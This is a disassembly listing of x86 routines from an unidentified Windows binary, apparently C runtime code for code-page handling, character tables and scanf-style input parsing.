[ebp+var_12] test al, al mov [ebp+var_118], 20h jz short loc_422E0C push ebx lea edx, [ebp+var_11] push edi loc_422DDB: ; CODE XREF: sub_422D8A+7Ej movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_422E02 sub ecx, eax inc ecx mov ebx, ecx shr ecx, 2 lea edi, [ebp+eax+var_118] mov eax, 20202020h rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_422E02: ; CODE XREF: sub_422D8A+59j inc edx mov al, [edx] inc edx test al, al jnz short loc_422DDB pop edi pop ebx loc_422E0C: ; CODE XREF: sub_422D8A+4Aj push 0 push ds:dword_4E2CA0 lea eax, [ebp+var_518] push ds:dword_4E2DC4 push eax push esi lea eax, [ebp+var_118] push eax push 1 call sub_426DA0 push 0 push ds:dword_4E2DC4 lea eax, [ebp+var_218] push esi push eax push esi lea eax, [ebp+var_118] push eax push esi push ds:dword_4E2CA0 call sub_425B55 push 0 push ds:dword_4E2DC4 lea eax, [ebp+var_318] push esi push eax push esi lea eax, [ebp+var_118] push eax push 200h push ds:dword_4E2CA0 call sub_425B55 add esp, 5Ch xor eax, eax loc_422E81: ; CODE XREF: sub_422D8A+139j mov cx, [ebp+eax*2+var_518] test cl, 1 jz short loc_422EA4 or ds:byte_4E2CC1[eax], 10h mov cl, [ebp+eax+var_218] loc_422E9C: ; CODE XREF: sub_422D8A+12Dj mov ds:byte_4E2DE0[eax], cl jmp short loc_422EC0 ; --------------------------------------------------------------------------- loc_422EA4: ; CODE XREF: sub_422D8A+102j test cl, 2 jz short loc_422EB9 or ds:byte_4E2CC1[eax], 20h mov cl, [ebp+eax+var_318] jmp short loc_422E9C ; --------------------------------------------------------------------------- loc_422EB9: ; CODE XREF: sub_422D8A+11Dj mov ds:byte_4E2DE0[eax], 0 loc_422EC0: ; CODE XREF: sub_422D8A+118j inc eax cmp eax, esi jb short loc_422E81 jmp short loc_422F0B ; --------------------------------------------------------------------------- loc_422EC7: ; CODE XREF: sub_422D8A+2Aj xor eax, eax loc_422EC9: ; CODE XREF: sub_422D8A+17Fj cmp eax, 41h jb short loc_422EE7 cmp eax, 5Ah ja short loc_422EE7 or ds:byte_4E2CC1[eax], 10h mov cl, al add cl, 20h loc_422EDF: ; CODE XREF: sub_422D8A+173j mov ds:byte_4E2DE0[eax], cl jmp short loc_422F06 ; --------------------------------------------------------------------------- loc_422EE7: ; CODE XREF: sub_422D8A+142j ; sub_422D8A+147j cmp eax, 61h jb short loc_422EFF cmp eax, 7Ah ja short loc_422EFF or ds:byte_4E2CC1[eax], 20h mov cl, al sub cl, 20h jmp short loc_422EDF ; --------------------------------------------------------------------------- loc_422EFF: ; CODE XREF: sub_422D8A+160j ; sub_422D8A+165j mov ds:byte_4E2DE0[eax], 0 loc_422F06: ; CODE XREF: sub_422D8A+15Bj inc eax cmp eax, esi jb short loc_422EC9 loc_422F0B: ; CODE XREF: sub_422D8A+13Bj mov ecx, [ebp+var_4] pop esi call sub_422B83 leave retn sub_422D8A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422F16 proc near ; CODE XREF: sub_4230FC+Bp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch mov eax, ds:dword_4437D4 push ebx push esi mov esi, [ebp+arg_0] xor ebx, ebx cmp esi, 0FFFFFFFEh mov [ebp+var_4], eax push edi mov ds:dword_4E2970, ebx jnz short loc_422F49 mov ds:dword_4E2970, 1 call ds:dword_42B1C4 ; GetOEMCP jmp short loc_422F74 ; --------------------------------------------------------------------------- loc_422F49: ; CODE XREF: sub_422F16+1Fj cmp esi, 0FFFFFFFDh jnz short loc_422F60 mov ds:dword_4E2970, 1 call ds:dword_42B1C0 ; GetACP jmp short loc_422F74 ; --------------------------------------------------------------------------- loc_422F60: ; CODE XREF: sub_422F16+36j cmp esi, 0FFFFFFFCh jnz short loc_422F79 mov eax, ds:dword_4E29B4 mov ds:dword_4E2970, 1 loc_422F74: ; CODE XREF: sub_422F16+31j ; sub_422F16+48j mov [ebp+arg_0], eax mov esi, eax loc_422F79: ; CODE XREF: sub_422F16+4Dj cmp esi, ds:dword_4E2DC4 jz loc_4230E8 cmp esi, ebx jz loc_4230DE xor edx, edx xor eax, eax loc_422F91: ; CODE XREF: sub_422F16+8Cj cmp ds:dword_443950[eax], esi jz short loc_423000 add eax, 30h inc edx cmp eax, 0F0h jb short loc_422F91 lea eax, [ebp+var_18] push eax push esi call ds:dword_42B190 ; GetCPInfo cmp eax, 1 jnz loc_4230D6 push 40h xor eax, eax pop ecx mov edi, offset byte_4E2CC0 rep stosd stosb xor edi, edi inc edi cmp [ebp+var_18], edi mov ds:dword_4E2DC4, esi mov ds:dword_4E2CA0, ebx jbe loc_4230C4 cmp [ebp+var_12], 0 jz loc_42309F lea ecx, [ebp+var_11] loc_422FEA: ; CODE XREF: sub_422F16+183j mov dl, [ecx] test dl, dl jz loc_42309F movzx eax, byte ptr [ecx-1] movzx edx, dl jmp loc_42308F ; --------------------------------------------------------------------------- loc_423000: ; CODE XREF: sub_422F16+81j push 40h xor eax, eax pop ecx mov edi, offset byte_4E2CC0 rep stosd lea ecx, [edx+edx*2] shl ecx, 4 mov [ebp+var_1C], ebx stosb lea ebx, dword_443960[ecx] loc_42301C: ; CODE XREF: sub_422F16+143j mov al, [ebx] mov esi, ebx jmp short loc_42304B ; --------------------------------------------------------------------------- loc_423022: ; CODE XREF: sub_422F16+137j mov dl, [esi+1] test dl, dl jz short loc_42304F movzx eax, al movzx edi, dl cmp eax, edi ja short loc_423047 mov edx, [ebp+var_1C] mov dl, ds:byte_443948[edx] loc_42303C: ; CODE XREF: sub_422F16+12Fj or ds:byte_4E2CC1[eax], dl inc eax cmp eax, edi jbe short loc_42303C loc_423047: ; CODE XREF: sub_422F16+11Bj inc esi inc esi mov al, [esi] loc_42304B: ; CODE XREF: sub_422F16+10Aj test al, al jnz short loc_423022 loc_42304F: ; CODE XREF: sub_422F16+111j inc [ebp+var_1C] add ebx, 8 cmp [ebp+var_1C], 4 jb short loc_42301C mov eax, [ebp+arg_0] mov ds:dword_4E2DC4, eax mov ds:dword_4E2CA4, 1 call sub_422D32 lea esi, dword_443954[ecx] mov edi, offset dword_4E2DD0 movsd movsd mov ds:dword_4E2CA0, eax movsd jmp short loc_4230E3 ; --------------------------------------------------------------------------- loc_423087: ; CODE XREF: sub_422F16+17Bj or ds:byte_4E2CC1[eax], 4 inc eax loc_42308F: ; CODE XREF: sub_422F16+E5j cmp eax, edx jbe short loc_423087 inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_422FEA loc_42309F: ; CODE XREF: sub_422F16+CBj ; sub_422F16+D8j mov eax, edi loc_4230A1: ; CODE XREF: sub_422F16+198j or ds:byte_4E2CC1[eax], 8 inc eax cmp eax, 0FFh jb short loc_4230A1 mov eax, esi call sub_422D32 mov ds:dword_4E2CA0, eax mov ds:dword_4E2CA4, edi jmp short loc_4230CA ; --------------------------------------------------------------------------- loc_4230C4: ; CODE XREF: sub_422F16+C1j mov ds:dword_4E2CA4, ebx loc_4230CA: ; CODE XREF: sub_422F16+1ACj xor eax, eax mov edi, offset dword_4E2DD0 stosd stosd stosd jmp short loc_4230E3 ; --------------------------------------------------------------------------- loc_4230D6: ; CODE XREF: sub_422F16+9Cj cmp ds:dword_4E2970, ebx jz short loc_4230EC loc_4230DE: ; CODE XREF: sub_422F16+71j call sub_422D61 loc_4230E3: ; CODE XREF: sub_422F16+16Fj ; sub_422F16+1BEj call sub_422D8A loc_4230E8: ; CODE XREF: sub_422F16+69j xor eax, eax jmp short loc_4230EF ; --------------------------------------------------------------------------- loc_4230EC: ; CODE XREF: sub_422F16+1C6j or eax, 0FFFFFFFFh loc_4230EF: ; CODE XREF: sub_422F16+1D4j mov ecx, [ebp+var_4] pop edi pop esi pop ebx call sub_422B83 leave retn sub_422F16 endp ; =============== S U B R O U T I N E ======================================= sub_4230FC proc near ; CODE XREF: sub_42638A+Cp ; sub_4263E7+Dp ... cmp ds:dword_4E3F30, 0 jnz short loc_423117 push 0FFFFFFFDh call sub_422F16 pop ecx mov ds:dword_4E3F30, 1 loc_423117: ; CODE XREF: sub_4230FC+7j xor eax, eax retn sub_4230FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42311A proc near ; CODE XREF: sub_41ED01+2Cp ; sub_41ED01+A7p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp ds:dword_4E2CA4, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_42313E push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41E860 add esp, 0Ch jmp short loc_423186 ; --------------------------------------------------------------------------- loc_42313E: ; CODE XREF: sub_42311A+11j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_423183 mov edx, [ebp+arg_4] push esi loc_423149: ; CODE XREF: sub_42311A+77j mov al, [edx] movzx esi, al dec ecx test ds:byte_4E2CC1[esi], 4 mov [edi], al jz short loc_423189 inc edi inc edx test ecx, ecx jz short loc_423195 mov al, [edx] dec ecx mov [edi], al inc edi inc edx test al, al jnz short loc_42318F mov [edi-2], al loc_42316E: ; CODE XREF: sub_42311A+73j test ecx, ecx jz short loc_423182 mov edx, ecx shr ecx, 2 xor eax, eax rep stosd mov ecx, edx and ecx, 3 rep stosb loc_423182: ; CODE XREF: sub_42311A+56j ; sub_42311A+79j ... pop esi loc_423183: ; CODE XREF: sub_42311A+29j mov eax, [ebp+arg_0] loc_423186: ; CODE XREF: sub_42311A+22j pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_423189: ; CODE XREF: sub_42311A+3Ej inc edi inc edx test al, al jz short loc_42316E loc_42318F: ; CODE XREF: sub_42311A+4Fj test ecx, ecx jnz short loc_423149 jmp short loc_423182 ; --------------------------------------------------------------------------- loc_423195: ; CODE XREF: sub_42311A+44j mov byte ptr [edi-1], 0 jmp short loc_423182 sub_42311A endp ; =============== S U B R O U T I N E ======================================= sub_42319B proc near ; CODE XREF: sub_42321D+4p arg_0 = dword ptr 4 push esi push ds:dword_4E3F2C call sub_427108 pop ecx mov ecx, ds:dword_4E3F28 mov esi, eax mov eax, ds:dword_4E3F2C mov edx, ecx sub edx, eax add edx, 4 cmp esi, edx jnb short loc_42320E mov ecx, 800h cmp esi, ecx jnb short loc_4231CB mov ecx, esi loc_4231CB: ; CODE XREF: sub_42319B+2Cj add ecx, esi push ecx push eax call sub_41E3C2 test eax, eax pop ecx pop ecx jnz short loc_4231F1 add esi, 10h push esi push ds:dword_4E3F2C call sub_41E3C2 test eax, eax pop ecx pop ecx jnz short loc_4231F1 pop esi retn ; --------------------------------------------------------------------------- loc_4231F1: ; CODE XREF: sub_42319B+3Dj ; sub_42319B+52j mov ecx, ds:dword_4E3F28 sub ecx, ds:dword_4E3F2C mov ds:dword_4E3F2C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov ds:dword_4E3F28, ecx loc_42320E: ; CODE XREF: sub_42319B+23j mov eax, [esp+4+arg_0] mov [ecx], eax add ds:dword_4E3F28, 4 pop esi retn sub_42319B endp ; =============== S U B R O U T I N E ======================================= sub_42321D proc near ; CODE XREF: sub_41F146+40p arg_0 = dword ptr 4 push [esp+arg_0] call sub_42319B neg eax sbb eax, eax neg eax pop ecx dec eax retn sub_42321D endp ; --------------------------------------------------------------------------- byte_42322F db 68h ; DATA XREF: seg002:0043C020o dd 80h, 0FFB39AE8h, 59C085FFh, 4E3F2CA3h, 6A047500h, 83C35818h dd 2CA10020h, 0A3004E3Fh, 4E3F28h db 33h, 0C0h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_423257 proc near ; CODE XREF: start:loc_420E00p push 0Ch push offset dword_439A68 call sub_425F14 mov dword ptr [ebp-1Ch], offset dword_43A5BC loc_42326A: ; CODE XREF: sub_423257+3Cj cmp dword ptr [ebp-1Ch], offset dword_43A5BC jnb short loc_423295 and dword ptr [ebp-4], 0 mov eax, [ebp-1Ch] mov eax, [eax] test eax, eax jz short loc_42328B call eax jmp short loc_42328B ; --------------------------------------------------------------------------- dd 0C340C033h db 8Bh, 65h, 0E8h ; --------------------------------------------------------------------------- loc_42328B: ; CODE XREF: sub_423257+27j ; sub_423257+2Bj or dword ptr [ebp-4], 0FFFFFFFFh add dword ptr [ebp-1Ch], 4 jmp short loc_42326A ; --------------------------------------------------------------------------- loc_423295: ; CODE XREF: sub_423257+1Aj call sub_425F4F retn sub_423257 endp ; sp-analysis failed ; --------------------------------------------------------------------------- byte_42329B db 6Ah ; DATA XREF: sub_41F146:loc_41F181o dd 9A78680Ch, 6DE80043h, 0C700002Ch, 0A5C4E445h, 7D810043h dd 43A5C4E4h, 83227300h, 8B00FC65h, 8BE445h, 0B74C085h dd 7EBD0FFh, 0C340C033h, 83E8658Bh, 83FFFC4Dh, 0EB04E445h dd 2C71E8D5h db 2 dup(0), 0C3h ; =============== S U B R O U T I N E ======================================= sub_4232DF proc near ; CODE XREF: sub_423327+B43p ; sub_423327+C8Ap cmp ds:dword_4437B0, 1 push esi mov esi, eax jle short loc_4232F7 push 4 push esi call sub_422B91 pop ecx pop ecx jmp short loc_423303 ; --------------------------------------------------------------------------- loc_4232F7: ; CODE XREF: sub_4232DF+Aj mov eax, ds:off_4437D8 movzx eax, byte ptr [eax+esi*2] and eax, 4 loc_423303: ; CODE XREF: sub_4232DF+16j test eax, eax jnz short loc_42330D and esi, 0FFFFFFDFh sub esi, 7 loc_42330D: ; CODE XREF: sub_4232DF+26j mov eax, esi pop esi retn sub_4232DF endp ; =============== S U B R O U T I N E ======================================= sub_423311 proc near ; CODE XREF: sub_423327+8Ap ; sub_423327+2ADp ... dec dword ptr [edx+4] js short loc_42331F mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_42331F: ; CODE XREF: sub_423311+3j push edx call sub_421C63 pop ecx retn sub_423311 endp ; =============== S U B R O U T I N E ======================================= sub_423327 proc near ; CODE XREF: sub_41F73D+2Ap push 1CCh push offset dword_439A88 call sub_425F14 mov eax, ds:dword_4437D4 mov [ebp-1Ch], eax xor eax, eax mov [ebp-1BCh], eax mov [ebp-1D8h], eax mov [ebp-1B0h], eax mov [ebp-194h], eax mov [ebp-195h], al mov [ebp-184h], eax mov [ebp-1B8h], eax loc_42336A: ; CODE XREF: sub_423327+C0j ; sub_423327+E1Aj mov esi, [ebp+0Ch] loc_42336D: ; CODE XREF: sub_423327+E08j mov al, [esi] test al, al jz loc_424147 movzx eax, al cmp ds:dword_4437B0, 1 jle short loc_42338F push 8 push eax call sub_422B91 pop ecx pop ecx jmp short loc_42339C ; --------------------------------------------------------------------------- loc_42338F: ; CODE XREF: sub_423327+5Aj mov ecx, ds:off_4437D8 movzx eax, byte ptr [ecx+eax*2] and eax, 8 loc_42339C: ; CODE XREF: sub_423327+66j xor edi, edi cmp eax, edi jz short loc_4233E9 dec dword ptr [ebp-184h] loc_4233A8: ; CODE XREF: sub_423327+9Aj inc dword ptr [ebp-184h] mov edx, [ebp+8] call sub_423311 mov esi, eax push esi call sub_420AFE pop ecx test eax, eax jnz short loc_4233A8 cmp esi, 0FFFFFFFFh jz short loc_4233D3 push dword ptr [ebp+8] push esi call sub_427140 pop ecx pop ecx loc_4233D3: ; CODE XREF: sub_423327+9Fj ; sub_423327+BEj inc dword ptr [ebp+0Ch] mov eax, [ebp+0Ch] movzx eax, byte ptr [eax] push eax call sub_420AFE pop ecx test eax, eax jnz short loc_4233D3 jmp short loc_42336A ; --------------------------------------------------------------------------- loc_4233E9: ; CODE XREF: sub_423327+79j mov esi, [ebp+0Ch] cmp byte ptr [esi], 25h jnz loc_4240B1 mov [ebp-1A0h], edi mov byte ptr [ebp-198h], 0 mov [ebp-19Ch], edi mov [ebp-1B4h], edi mov [ebp-18Ch], edi mov byte ptr [ebp-1A1h], 0 mov byte ptr [ebp-197h], 0 mov byte ptr [ebp-18Eh], 0 mov byte ptr [ebp-17Dh], 0 mov byte ptr [ebp-196h], 0 mov byte ptr [ebp-185h], 0 mov byte ptr [ebp-18Dh], 1 mov [ebp-1C8h], edi loc_42344B: ; CODE XREF: sub_423327+229j inc esi movzx ebx, byte ptr [esi] movzx eax, bl cmp ds:dword_4437B0, 1 jle short loc_423467 push 4 push eax call sub_422B91 pop ecx pop ecx jmp short loc_423474 ; --------------------------------------------------------------------------- loc_423467: ; CODE XREF: sub_423327+132j mov ecx, ds:off_4437D8 movzx eax, byte ptr [ecx+eax*2] and eax, 4 loc_423474: ; CODE XREF: sub_423327+13Ej test eax, eax jz short loc_42348A inc dword ptr [ebp-1B4h] lea eax, [edi+edi*4] lea edi, [ebx+eax*2-30h] jmp loc_423549 ; --------------------------------------------------------------------------- loc_42348A: ; CODE XREF: sub_423327+14Fj cmp ebx, 4Eh jg loc_423518 jz loc_423549 cmp ebx, 2Ah jz short loc_423510 cmp ebx, 46h jz loc_423549 cmp ebx, 49h jz short loc_4234BC cmp ebx, 4Ch jnz short loc_423527 inc byte ptr [ebp-18Dh] jmp loc_423549 ; --------------------------------------------------------------------------- loc_4234BC: ; CODE XREF: sub_423327+183j mov cl, [esi+1] cmp cl, 36h jnz short loc_4234E4 lea eax, [esi+2] cmp byte ptr [eax], 34h jnz short loc_4234E4 mov esi, eax inc dword ptr [ebp-1C8h] and dword ptr [ebp-1ACh], 0 and dword ptr [ebp-1A8h], 0 jmp short loc_423549 ; --------------------------------------------------------------------------- loc_4234E4: ; CODE XREF: sub_423327+19Bj ; sub_423327+1A3j cmp cl, 33h jnz short loc_4234F5 lea eax, [esi+2] cmp byte ptr [eax], 32h jnz short loc_4234F5 mov esi, eax jmp short loc_423549 ; --------------------------------------------------------------------------- loc_4234F5: ; CODE XREF: sub_423327+1C0j ; sub_423327+1C8j cmp cl, 64h jz short loc_423549 cmp cl, 69h jz short loc_423549 cmp cl, 6Fh jz short loc_423549 cmp cl, 78h jz short loc_423549 cmp cl, 58h jnz short loc_423527 jmp short loc_423549 ; --------------------------------------------------------------------------- loc_423510: ; CODE XREF: sub_423327+175j inc byte ptr [ebp-18Eh] jmp short loc_423549 ; --------------------------------------------------------------------------- loc_423518: ; CODE XREF: sub_423327+166j cmp ebx, 68h jz short loc_42353D cmp ebx, 6Ch jz short loc_42352F cmp ebx, 77h jz short loc_423535 loc_423527: ; CODE XREF: sub_423327+188j ; sub_423327+1E5j inc byte ptr [ebp-17Dh] jmp short loc_423549 ; --------------------------------------------------------------------------- loc_42352F: ; CODE XREF: sub_423327+1F9j inc byte ptr [ebp-18Dh] loc_423535: ; CODE XREF: sub_423327+1FEj inc byte ptr [ebp-185h] jmp short loc_423549 ; --------------------------------------------------------------------------- loc_42353D: ; CODE XREF: sub_423327+1F4j dec byte ptr [ebp-18Dh] dec byte ptr [ebp-185h] loc_423549: ; CODE XREF: sub_423327+15Ej ; sub_423327+16Cj ... cmp byte ptr [ebp-17Dh], 0 jz loc_42344B mov [ebp-18Ch], edi mov [ebp+0Ch], esi cmp byte ptr [ebp-18Eh], 0 jnz short loc_423582 mov eax, [ebp+10h] mov [ebp-1DCh], eax add eax, 4 mov [ebp+10h], eax mov ebx, [eax-4] mov [ebp-1B0h], ebx jmp short loc_423588 ; --------------------------------------------------------------------------- loc_423582: ; CODE XREF: sub_423327+23Fj mov ebx, [ebp-1B0h] loc_423588: ; CODE XREF: sub_423327+259j mov byte ptr [ebp-17Dh], 0 cmp byte ptr [ebp-185h], 0 jnz short loc_4235B0 mov al, [esi] cmp al, 53h jz short loc_4235A9 cmp al, 43h mov byte ptr [ebp-185h], 0FFh jnz short loc_4235B0 loc_4235A9: ; CODE XREF: sub_423327+275j mov byte ptr [ebp-185h], 1 loc_4235B0: ; CODE XREF: sub_423327+26Fj ; sub_423327+280j movzx edi, byte ptr [esi] or edi, 20h mov [ebp-1C0h], edi cmp edi, 6Eh jz short loc_423605 cmp edi, 63h jz short loc_4235F1 cmp edi, 7Bh jz short loc_4235F1 loc_4235CB: ; CODE XREF: sub_423327+2BDj inc dword ptr [ebp-184h] mov edx, [ebp+8] call sub_423311 mov esi, eax push esi call sub_420AFE pop ecx test eax, eax jnz short loc_4235CB mov [ebp-194h], esi mov esi, [ebp+0Ch] jmp short loc_423605 ; --------------------------------------------------------------------------- loc_4235F1: ; CODE XREF: sub_423327+29Dj ; sub_423327+2A2j inc dword ptr [ebp-184h] mov edx, [ebp+8] call sub_423311 mov [ebp-194h], eax loc_423605: ; CODE XREF: sub_423327+298j ; sub_423327+2C8j mov ecx, [ebp-1B4h] test ecx, ecx jz short loc_42361C cmp dword ptr [ebp-18Ch], 0 jz loc_423948 loc_42361C: ; CODE XREF: sub_423327+2E6j cmp edi, 6Fh jg loc_423917 jz loc_423D3A cmp edi, 63h jz loc_4238EA cmp edi, 64h jz loc_423D3A jle loc_42393D cmp edi, 67h jle short loc_42368C cmp edi, 69h jz short loc_42366E cmp edi, 6Eh jnz loc_42393D mov eax, [ebp-184h] cmp byte ptr [ebp-18Eh], 0 jz loc_424077 jmp loc_4240A3 ; --------------------------------------------------------------------------- loc_42366E: ; CODE XREF: sub_423327+324j push 64h pop edi loc_423671: ; CODE XREF: sub_423327+60Bj mov ebx, [ebp-194h] cmp ebx, 2Dh jnz loc_423BE3 mov byte ptr [ebp-197h], 1 jmp loc_423BE8 ; --------------------------------------------------------------------------- loc_42368C: ; CODE XREF: sub_423327+31Fj lea esi, [ebp-17Ch] mov ebx, [ebp-194h] cmp ebx, 2Dh jnz short loc_4236AB mov [ebp-17Ch], bl lea esi, [ebp-17Bh] jmp short loc_4236B0 ; --------------------------------------------------------------------------- loc_4236AB: ; CODE XREF: sub_423327+374j cmp ebx, 2Bh jnz short loc_4236D0 loc_4236B0: ; CODE XREF: sub_423327+382j dec dword ptr [ebp-18Ch] inc dword ptr [ebp-184h] mov edi, [ebp+8] mov edx, edi call sub_423311 mov ebx, eax mov [ebp-194h], ebx jmp short loc_4236D3 ; --------------------------------------------------------------------------- loc_4236D0: ; CODE XREF: sub_423327+387j mov edi, [ebp+8] loc_4236D3: ; CODE XREF: sub_423327+3A7j cmp dword ptr [ebp-1B4h], 0 jz short loc_4236E8 cmp dword ptr [ebp-18Ch], 15Dh jle short loc_4236F2 loc_4236E8: ; CODE XREF: sub_423327+3B3j mov dword ptr [ebp-18Ch], 15Dh loc_4236F2: ; CODE XREF: sub_423327+3BFj ; sub_423327+41Ej cmp ds:dword_4437B0, 1 jle short loc_423707 push 4 push ebx call sub_422B91 pop ecx pop ecx jmp short loc_423713 ; --------------------------------------------------------------------------- loc_423707: ; CODE XREF: sub_423327+3D2j mov eax, ds:off_4437D8 movzx eax, byte ptr [eax+ebx*2] and eax, 4 loc_423713: ; CODE XREF: sub_423327+3DEj test eax, eax jz short loc_423747 mov eax, [ebp-18Ch] dec dword ptr [ebp-18Ch] test eax, eax jz short loc_423747 inc dword ptr [ebp-19Ch] mov [esi], bl inc esi inc dword ptr [ebp-184h] mov edx, edi call sub_423311 mov ebx, eax mov [ebp-194h], ebx jmp short loc_4236F2 ; --------------------------------------------------------------------------- loc_423747: ; CODE XREF: sub_423327+3EEj ; sub_423327+3FEj cmp ds:byte_4437B4, bl jnz short loc_4237CB mov eax, [ebp-18Ch] dec dword ptr [ebp-18Ch] test eax, eax jz short loc_4237CB inc dword ptr [ebp-184h] mov edx, edi call sub_423311 mov ebx, eax mov al, ds:byte_4437B4 mov [esi], al inc esi loc_423776: ; CODE XREF: sub_423327+4A2j mov [ebp-194h], ebx cmp ds:dword_4437B0, 1 jle short loc_423791 push 4 push ebx call sub_422B91 pop ecx pop ecx jmp short loc_42379D ; --------------------------------------------------------------------------- loc_423791: ; CODE XREF: sub_423327+45Cj mov eax, ds:off_4437D8 movzx eax, byte ptr [eax+ebx*2] and eax, 4 loc_42379D: ; CODE XREF: sub_423327+468j test eax, eax jz short loc_4237CB mov eax, [ebp-18Ch] dec dword ptr [ebp-18Ch] test eax, eax jz short loc_4237CB inc dword ptr [ebp-19Ch] mov [esi], bl inc esi inc dword ptr [ebp-184h] mov edx, edi call sub_423311 mov ebx, eax jmp short loc_423776 ; --------------------------------------------------------------------------- loc_4237CB: ; CODE XREF: sub_423327+426j ; sub_423327+436j ... cmp dword ptr [ebp-19Ch], 0 jz loc_42388F cmp ebx, 65h jz short loc_4237E6 cmp ebx, 45h jnz loc_42388F loc_4237E6: ; CODE XREF: sub_423327+4B4j mov eax, [ebp-18Ch] dec dword ptr [ebp-18Ch] test eax, eax jz loc_42388F mov byte ptr [esi], 65h inc esi inc dword ptr [ebp-184h] mov edx, edi call sub_423311 mov ebx, eax mov [ebp-194h], ebx cmp ebx, 2Dh jnz short loc_42381D mov [esi], al inc esi jmp short loc_423822 ; --------------------------------------------------------------------------- loc_42381D: ; CODE XREF: sub_423327+4EFj cmp ebx, 2Bh jnz short loc_42384F loc_423822: ; CODE XREF: sub_423327+4F4j mov eax, [ebp-18Ch] dec dword ptr [ebp-18Ch] test eax, eax jnz short loc_42383A and [ebp-18Ch], eax jmp short loc_42384F ; --------------------------------------------------------------------------- loc_42383A: ; CODE XREF: sub_423327+509j ; sub_423327+566j mov edx, edi inc dword ptr [ebp-184h] call sub_423311 mov ebx, eax mov [ebp-194h], ebx loc_42384F: ; CODE XREF: sub_423327+4F9j ; sub_423327+511j cmp ds:dword_4437B0, 1 jle short loc_423864 push 4 push ebx call sub_422B91 pop ecx pop ecx jmp short loc_423870 ; --------------------------------------------------------------------------- loc_423864: ; CODE XREF: sub_423327+52Fj mov eax, ds:off_4437D8 movzx eax, byte ptr [eax+ebx*2] and eax, 4 loc_423870: ; CODE XREF: sub_423327+53Bj test eax, eax jz short loc_42388F mov eax, [ebp-18Ch] dec dword ptr [ebp-18Ch] test eax, eax jz short loc_42388F inc dword ptr [ebp-19Ch] mov [esi], bl inc esi jmp short loc_42383A ; --------------------------------------------------------------------------- loc_42388F: ; CODE XREF: sub_423327+4ABj ; sub_423327+4B9j ... dec dword ptr [ebp-184h] cmp ebx, 0FFFFFFFFh jz short loc_4238A3 push edi push ebx call sub_427140 pop ecx pop ecx loc_4238A3: ; CODE XREF: sub_423327+571j cmp dword ptr [ebp-19Ch], 0 jz loc_424147 cmp byte ptr [ebp-18Eh], 0 jnz loc_4240A3 inc dword ptr [ebp-1B8h] mov byte ptr [esi], 0 lea eax, [ebp-17Ch] push eax push dword ptr [ebp-1B0h] movsx eax, byte ptr [ebp-18Dh] dec eax push eax call ds:off_443A58 add esp, 0Ch jmp loc_4240A3 ; --------------------------------------------------------------------------- loc_4238EA: ; CODE XREF: sub_423327+307j test ecx, ecx jnz short loc_4238FE mov dword ptr [ebp-1B4h], 1 inc dword ptr [ebp-18Ch] loc_4238FE: ; CODE XREF: sub_423327+5C5j ; sub_423327+5FEj cmp byte ptr [ebp-185h], 0 jle loc_423AC5 mov byte ptr [ebp-196h], 1 jmp loc_423AC5 ; --------------------------------------------------------------------------- loc_423917: ; CODE XREF: sub_423327+2F8j mov eax, edi sub eax, 70h jz loc_423D33 sub eax, 3 jz short loc_4238FE dec eax dec eax jz loc_423D3A sub eax, 3 jz loc_423671 sub eax, 3 jz short loc_423975 loc_42393D: ; CODE XREF: sub_423327+316j ; sub_423327+329j movzx eax, byte ptr [esi] cmp eax, [ebp-194h] jz short loc_423954 loc_423948: ; CODE XREF: sub_423327+2EFj cmp dword ptr [ebp-194h], 0FFFFFFFFh jmp loc_42410E ; --------------------------------------------------------------------------- loc_423954: ; CODE XREF: sub_423327+61Fj dec byte ptr [ebp-195h] cmp byte ptr [ebp-18Eh], 0 jnz loc_4240A3 mov eax, [ebp-1DCh] mov [ebp+10h], eax jmp loc_4240A3 ; --------------------------------------------------------------------------- loc_423975: ; CODE XREF: sub_423327+614j cmp byte ptr [ebp-185h], 0 jle short loc_423985 mov byte ptr [ebp-196h], 1 loc_423985: ; CODE XREF: sub_423327+655j mov edi, [ebp+0Ch] inc edi mov [ebp+0Ch], edi mov [ebp-1D0h], edi cmp byte ptr [edi], 5Eh jnz short loc_4239A5 inc edi mov [ebp-1D0h], edi mov byte ptr [ebp-1A1h], 0FFh loc_4239A5: ; CODE XREF: sub_423327+66Ej mov ebx, [ebp-1BCh] test ebx, ebx jnz short loc_423A0C and [ebp-4], ebx push 20h pop eax call sub_41EA20 mov [ebp-18h], esp mov ebx, esp mov [ebp-1BCh], ebx or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_423A0C ; --------------------------------------------------------------------------- a3@Lessi db '3À@Ëeèè› ',0 dw 6A00h dd 0ABF5E820h, 8959FFFFh, 0FFFE4485h, 75C085FFh, 0FC4D8309h dd 755E9FFh, 85C70000h, 0FFFFFE28h, 1, 0FFFC4D83h, 0FE30BD8Bh dd 9D8BFFFFh, 0FFFFFE44h ; --------------------------------------------------------------------------- loc_423A0C: ; CODE XREF: sub_423327+686j ; sub_423327+6A2j push 20h push 0 push ebx call sub_41E5F0 add esp, 0Ch cmp dword ptr [ebp-1C0h], 7Bh jnz short loc_423A99 cmp byte ptr [edi], 5Dh jnz short loc_423A99 mov dl, 5Dh inc edi mov byte ptr [ebx+0Bh], 20h jmp short loc_423A9F ; --------------------------------------------------------------------------- loc_423A30: ; CODE XREF: sub_423327+77Cj inc edi cmp al, 2Dh jnz short loc_423A80 test dl, dl jz short loc_423A80 mov cl, [edi] cmp cl, 5Dh jz short loc_423A80 inc edi cmp dl, cl jnb short loc_423A49 mov al, cl jmp short loc_423A4D ; --------------------------------------------------------------------------- loc_423A49: ; CODE 